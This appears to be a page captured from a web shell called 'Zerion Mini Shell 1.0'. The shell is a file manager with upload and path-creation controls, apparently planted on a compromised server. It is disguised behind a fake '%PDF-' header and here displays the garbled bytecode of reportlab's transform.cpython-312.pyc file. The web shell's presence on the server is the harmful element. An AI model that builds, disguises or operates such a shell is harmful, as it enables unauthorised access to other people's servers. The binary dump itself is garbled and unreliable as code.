%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/reportlab/graphics/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/reportlab/graphics/__pycache__/transform.cpython-312.pyc

�

��d���l�dZdZddlmZmZmZmZd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�Zy)z'functions for 2D affine transformations)�
nullTransform�	translate�scale�rotate�skewX�skewY�mmult�inverse�zTransformPoint�transformPoint�transformPoints�zTransformPoints�)�cos�sin�tan�radiansc��y)N)�rrrrr�r��>/usr/lib/python3/dist-packages/reportlab/graphics/transform.pyrrs��rc��dddd||fS�Nrrr)�dx�dys  rrrs��
�q�!�Q��B��rc��|dd|ddfS�Nrr)�sx�sys  rrrs����1�b�!�Q��rc�V�t|�}t|�}t|�}||||ddfSr)rrr)�angle�a�sina�cosas    rrrs2�����A��q�6�D��q�6�D��$���t�Q��*�*rc�6�ddtt|��dddfSr�rr�r!s rrr"s��
�q�#�g�e�n�%�q�!�Q�/�/rc�6�dtt|��ddddfSrr&r's rrr%s��
�s�7�5�>�"�A�q�!�Q�/�/rc	�&�|d|dz|d|dzz|d|dz|d|dzz|d|dz|d|dzz|d|dz|d|dzz|d|dz|d|dzz|dz|d|dz|d|dzz|dzfS)zA postmultiplied by Br�r���r)�A�Bs  rrr(s���
�a�D��1��I��!��Q�q�T�	�!�
�a�D��1��I��!��Q�q�T�	�!�
�a�D��1��I��!��Q�q�T�	�!�
�a�D��1��I��!��Q�q�T�	�!�
�a�D��1��I��!��Q�q�T�	�!�A�a�D�(�
�a�D��1��I��!��Q�q�T�	�!�A�a�D�(�*�*rc��t|d|dz|d|dzz
�}|d|z|d|z|d|z|d|zg}t||d|dz|d|dzz
|d|dz|d|dzz
gz�S)zBFor A affine 2D represented as 6vec return 6vec version of A**(-1)rr+r*rr,r-)�float�tuple)r.�det�Rs   rr	r	6s�����!��Q�q�T�	�A�a�D��1��I�%�
&�C�	
�1��c��A�a�D�5��9�q��t�e�C�i��1��c��2�A���Q�q�T�E�!�A�$�J�q��t�A�a�D�y�(�!�A�$��q��t��A�a�D��1��I�)=�>�>�?�?rc�^�|d|dz|d|dzz|d|dz|d|dzzfS)zBApply the homogenous part of atransformation a to vector v --> A*vrr*rr+r�r.�vs  rr
r
=sG��
�a�D��1��I�a��d�1�Q�4�i���!��Q�q�T�	�!�A�$�q��t�)� 3�4�4rc�v�|d|dz|d|dzz|dz|d|dz|d|dzz|dzfS)z*Apply transformation a to vector v --> A*vrr*rr,r+r-rr6s  rrrAsY��
�a�D��1��I�a��d�1�Q�4�i���!��$�Q�q�T�!�A�$�Y�q��t�A�a�D�y�%8��1��%=�>�>rc�x�|D�cgc]}t||���}}t|t�rt|�}|Scc}w�N)r�
isinstancer2)�matrix�Vr7�rs    rrrEs8��+,�-�a���q�	!�-�A�-��!�E���a��A��H��	.s�7c�2�tt|fd�|��S)Nc��t||�Sr:)r
)�xr<s  r�<lambda>z"zTransformPoints.<locals>.<lambda>Ks
��O�F�1�,E�r)�list�map)r<r=s  rr
r
Js����F�E�q�I�J�JrN)�__doc__�__all__�mathrrrrrrrrrrrr	r
rrr
rrr�<module>rHsU��-�
��(�'�� � �+�0�0�*�@�5�?�
�
Kr

Zerion Mini Shell 1.0